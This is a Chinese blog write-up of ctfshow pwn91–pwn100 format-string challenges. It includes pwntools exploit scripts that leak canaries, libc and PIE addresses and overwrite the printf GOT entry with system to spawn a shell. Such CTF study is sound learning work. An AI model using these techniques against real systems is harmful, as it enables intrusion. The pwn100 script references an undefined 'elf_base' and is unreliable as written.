0x02 格式化字符串 pwn91 啊,好累
题目tips:开始格式化字符串了,先来个简单的吧
开了canary和nx
可以看到偏移值是7,就是说输入的aaaa和0x61616161之间隔了七个位置
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p就是用来显示偏移值的一个方法
萌新可以先看这个https://www.cnblogs.com/falling-dusk/p/17858030.html,看完之后可能会比较好一点
也可以gdb调试一下,看一下到底是输出了什么。
可以看到是向着高位地址的方向读取的,也就是说有可能把canary读出来,不过对于本题的意义倒不是很大。
本题如果不用集成好的函数写的话,应该是用的%n,然后计算位于bss段的变量daniu和偏移量7之间的关系,通过泄露出的地址计算距离之间的,然后将bss段覆盖为想要的数值。
不过这里还是按照官方wp的解法写,直接上工具!真好吧
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch='i386',os='linux',log_level='debug') elf = ELF('../pwn91') p = remote('pwn.challenge.ctf.show', 28174) offset = 7 daniu = 0x0804B038 payload = fmtstr_payload(offset,{daniu:6}) p.sendline(payload) p.interactive()
pwn92
这下真是保护全开了,64位保护全开
代码有点多,虽然好像蛮多是示例的,但是懒得看,先下班
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 这个代码片段展示了 C 语言中 `printf` 函数的多种格式化输出功能。下面是对每一行代码的详细解析: 1. `printf("Hello CTFshow %%\n");` - 作用:打印字符串 `Hello CTFshow %`,其中 `%%` 是打印一个 `%` 字符的转义序列。 - 输出:`Hello CTFshow %` 2. `puts("Hello CTFshow!");` - 作用:`puts` 函数输出一个字符串并自动在末尾加上换行符。 - 输出:`Hello CTFshow!` 3. `printf("Num : %d\n", 114514LL);` - 作用:`%d` 是整数格式化说明符,输出一个十进制整数。`114514LL` 是一个长整型常量,但会被 `%d` 格式化为普通整型输出。 - 输出:`Num : 114514` 4. `printf("%s %s\n", "Format", "Strings");` - 作用:`%s` 是字符串格式化说明符,按顺序输出两个字符串 `"Format"` 和 `"Strings"`。 - 输出:`Format Strings` 5. `printf("%12c\n", 65LL);` - 作用:`%c` 是字符格式化说明符,输出对应 ASCII 值的字符。`65LL` 对应 ASCII 字符 `'A'`。`%12c` 表示字符占据 12 个字符宽度的位置,左边用空格填充。 - 输出:` A` (前面有 11 个空格) 6. `printf("%16s\n", "Hello");` - 作用:`%s` 输出字符串,`%16s` 表示字符串占据 16 个字符宽度,左边用空格填充。 - 输出:` Hello` (前面有 11 个空格) 7. `printf("%12c%n\n", 65LL, v1);` - 作用: - `%12c` 打印字符 `'A'`,左边用空格填充,总宽度为 12。 - `%n` 并不打印任何内容,而是将当前已经打印的字符数存储在变量 `v1` 中。 - 假设 `v1` 是一个指向整型变量的指针,那么 `v1` 将存储 12,这是因为打印了 12 个字符。 - 输出:` A` (前面有 11 个空格),`v1` 的值为 12。 8. `printf("%16s%n\n", "Hello!", v1);` - 作用: - `%16s` 打印字符串 `"Hello!"`,左边用空格填充,总宽度为 16。 - `%n` 将当前已打印的字符数(即 16)存储在 `v1` 中。 - 假设 `v1` 是一个指向整型变量的指针,那么 `v1` 的值将被更新为 16。 - 输出:` Hello!` (前面有 10 个空格),`v1` 的值被更新为 16。 9. `printf("%2$s %1$s\n", "Format", "Strings");` - 作用: - `%2$s` 和 `%1$s` 分别指定第二个和第一个参数的字符串输出。 - 这会输出 `"Strings Format"`,而不是默认顺序的 `"Format Strings"`。 - 输出:`Strings Format` 10. `printf("%42c%1$n\n", v1);` - 作用: - `%42c` 打印 42 个空格字符(如果 `v1` 是一个有效的字符值)。 - `%n` 将当前已打印的字符数(即 42)存储在 `v1` 中。如果 `v1` 是指向整型变量的指针,它将被赋值为 42。 - 输出:42 个空格字符,然后 `v1` 被设置为 42。 总结 这个代码片段展示了 `printf` 的各种格式化功能,包括字符和字符串格式化、宽度控制、参数位置交换、以及 `n` 格式说明符来存储字符数。`%n` 和 `%m$n` 格式化功能尤其用于一些高级用例,比如格式化字符串攻击的研究。
fgets读取flag的内容到s,scanf读取format作为printf的参数,输出s,只要输入%s就可以了
脚本都省了,直接nc,然后输入%s即可
pwn93
64位保护全开
代码基本就是知识点吧,自己找ai解释一下就完了
nc连接之后输入7获取flag
pwn94
32位程序,开启了nx
解题思路应该是用%n修改栈的内容,然后调用system函数getshell
好吧,其实并不是这样,官方的wp是很神奇的解法(反正不像是我能想到的)
偏移是6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(arch='i386',os='linux',log_level='debug') elf = ELF('../pwn94') p = remote('pwn.challenge.ctf.show', 28179) offset = 6 #printf_sym = elf.sym['printf'] printf_got = elf.got['printf'] #printf_plt = elf.plt['printf'] #print(hex(printf_sym)) #print(hex(printf_got)) #print(hex(printf_plt)) system_plt = elf.plt['system'] bin_sh = '/bin/sh\x00' payload = fmtstr_payload(offset,{printf_got:system_plt}) p.sendline(payload) p.sendline(bin_sh) p.interactive()
elf.sym[]和elf.plt[]是一个东西,可以看到将printf的got表修改为指向system的地址,所以在执行printf(buf)时就会变成system(buf)
pwn95
32位程序,开启了nx
相比于上题最大的不同应该是没有system函数
解题思路:可以试试泄露函数地址然后获得libc库,然后再得到system函数的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * from LibcSearcher import * context(arch='i386',os='linux',log_level='debug') elf = ELF('../pwn95') p = remote('pwn.challenge.ctf.show', 28304) #p = process('../pwn95') offset = 6 printf_got = elf.got['printf'] printf_plt = elf.plt['printf'] bin_sh = b'/bin/sh\x00' # 泄露出printf的地址,%6$s就是打印出第六个参数的意思 payload = p32(printf_got) + "%{}$s".format(offset).encode() p.sendline(payload) printf_addr = u32(p.recvuntil('\xf7')[-4:]) print(hex(printf_addr)) libc = LibcSearcher("printf",printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system') payload = fmtstr_payload(offset,{printf_got:system_addr}) p.sendline(payload) p.sendline(bin_sh) p.recv() p.interactive()
理论上方法是这么个方法,但是不知道为什么打的时候容器总是会crash,所以就拿不到flag了。
1 2 3 4 5 6 7 def exec_fmt(payload): io.sendline(payload) info = io.recv() return info auto = FmtStr(exec_fmt) offset = auto.offset # 自动计算偏移可以加上这一段
pwn96
32位程序,relro为partial,开启了nx
直接上重点,就是通过%p去读栈上的内容,v3就是flag,而且存在栈上,那么通过格式化字符串漏洞就可以读取栈上的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') #p = process('./pwn') p = gdb.debug("../pwn96","b main") #p = remote('pwn.challenge.ctf.show',28214) flag=b'' for i in range(6,6+12): payload='%{}$p'.format(str(i)) p.sendlineafter('$ ',payload) aim = unhex(p.recvuntil(b'\n',drop=True).replace(b'0x',b'')) flag += aim[::-1] print(flag) p.close()
照抄的官方wp,其中手动转码一下也不是不行,记得大小端序就好了
pwn97
relro为partial,canary和nx都开启,32位程序
应该是通过printf函数漏洞修改check来达到输出flag的目的
解题思路:先计算偏移值,由于不需要触发exit,所以s中不需要shutdown,需要触发printf函数,所以s中不需要cat /ctfshow_flag
通过计算可以得到偏移值为11,当然也可以自动计算偏移(虽然我自动计算没算出来)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') #p = process('./pwn') #p = gdb.debug("../pwn96","b main") p = remote('pwn.challenge.ctf.show',28166) offset = 11 check = 0x0804B040 payload = fmtstr_payload(offset,{check:1}) p.sendline(payload) p.interactive()
pwn98
relro为partial,canary和nx都开启,32位程序
解题思路:这个一眼顶针啊,先使用gets读取一个s,然后printf泄露出canary的值,再用gets指向后门函数__stack_check
可以看到canary就是ebp-0c的位置 偏移值为5 又由于s是ebp-34,s和canary之间隔了10单位,所以泄露canary时偏移值为15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') #p = process('./pwn') #p = gdb.debug("../pwn98","b main") p = remote('pwn.challenge.ctf.show',28161) elf = ELF('../pwn98') offset = 15 shell = elf.sym['__stack_check'] p.recv() payload = '%{}$p'.format(offset) p.sendline(payload) canary = int(p.recv(),16) print(hex(canary)) offset = 0x28 payload = cyclic(offset) + p32(canary) + cyclic(0xc) + p32(shell) p.sendline(payload) p.interactive()
pwn99 没有附件,就是用printf漏洞读取栈的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'error') #p = process('./pwn') #p = gdb.debug("../pwn98","b main") def leak(payload): p = remote('pwn.challenge.ctf.show',28148) p.recv() p.sendline(payload) data = p.recvuntil('\n',drop=True) if data.startswith(b'0x'): print(p64(int(data,16))) p.close() i = 1 while True: payload = '%{}$p'.format(i) leak(payload) i+=1
pwn100
保护全开的64位程序
先看initial函数,往secret中存了点随机数,secret位于bss段
whattime函数,读取v1,v2,v3三个参数,然后使用printf输出 menu函数没啥好看的
读取十五个字节的字符串,然后转为整数
v5 = 2时,执行fmt_attack函数,v5=1时,执行leak函数,v5=3时,执行get_flag函数,v5=4时退出程序
fmt_attack存在printf格式化字符串漏洞
由于在调用过一次fmt_attack函数之后就会将a1赋值为1,因此fmt_attack不能重复调用,此处需要对a1进行修改,以能够重复调用fmt_attack,方便攻击。
leak函数读入buf然后输出buf的内容,应该可以泄露出栈的地址吗
读取64个字节的s2,将s2与secret进行比较,比较成功输出flag
解题思路:应该是覆写secret以达到获取flag的目的,由于启用了pie和aslr,无法知道secret的地址,因此需要使用leak函数泄露出地址,然后再调用fmt_attack进行覆盖,然后再调用get_flag函数。
1、修改a1以多次调用printf函数
2、计算出pie的基址
3、修改栈内内容获取flag
可以看到当rip指向printf时,fmt_attack的变量a1在-0x48的位置(这个从ida里面可以分析出来),也就是说在rsp的下面,由于在64位程序中,printf字符串漏洞会先打印出6个寄存器的内容,然后才轮到栈,所以此处偏移值为7。且此处返回地址的位置为0x8,此处偏移值为17
但是printf只能输出地址内的内容,所以如果要得到ret指令的地址则需要用到一些迂回的方法,官方wp使用的是输出rbp所在地址的值再-0x28,对应到上图也就是ret指令对应的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #p = remote('pwn.challenge.ctf.show',28244) p = gdb.debug("../pwn100","b main") def fmt(payload): p.recvuntil('>>') p.sendline(2) p.sendline(payload) p.sendline("1 1 1") # 修改a1的值并且泄露出ret的地址 payload = "%7$n-%16$p" fmt(payload) p.recvuntil('-') ret_addr = int(p.recvuntil('\n')[:-1],16)-0x28 payload = "%7$n+%17$p" fmt(payload) p.recvuntil('+') ret_value = int(p.recvuntil('\n')[:-1],16) pie_base = ret_value - 0x102c # (elf_base+0xf56)&0xffff和hn确保只修改到最后两个字节,这里修改的是将102c修改为0f56,%10$n修改的是9x7ffd13ce2a60地址的值(见下图),这个值就是ret对应的地址,不知道是什么原理,反正尝试直接%17$n的时候程序直接crash了,感觉可能是慢慢调出来的payload payload1 = '%' + str((elf_base+0xf56)&0xffff) + 'c%10$hn' payload1 = payload1.ljust(0x10,'a') payload1 +=p64(ret_addr) fmt(payload1) p.interactive()
反正,挺巧妙的,不过如果换作是我的话可能会覆盖掉secret的位置(试了一下,因为每次最多只能覆写8个字节的内容,所以可能需要覆盖8次,还得计算偏移值,所以就没有继续写了)。
很匆忙地结束格式化字符串漏洞。
Refenrence3 1 2 https://www.cnblogs.com/falling-dusk/p/17858030.html file:///E:/ctfshow/pwn/attachment/ctfshow_offical_wp/073-108WP.pdf(官方wp)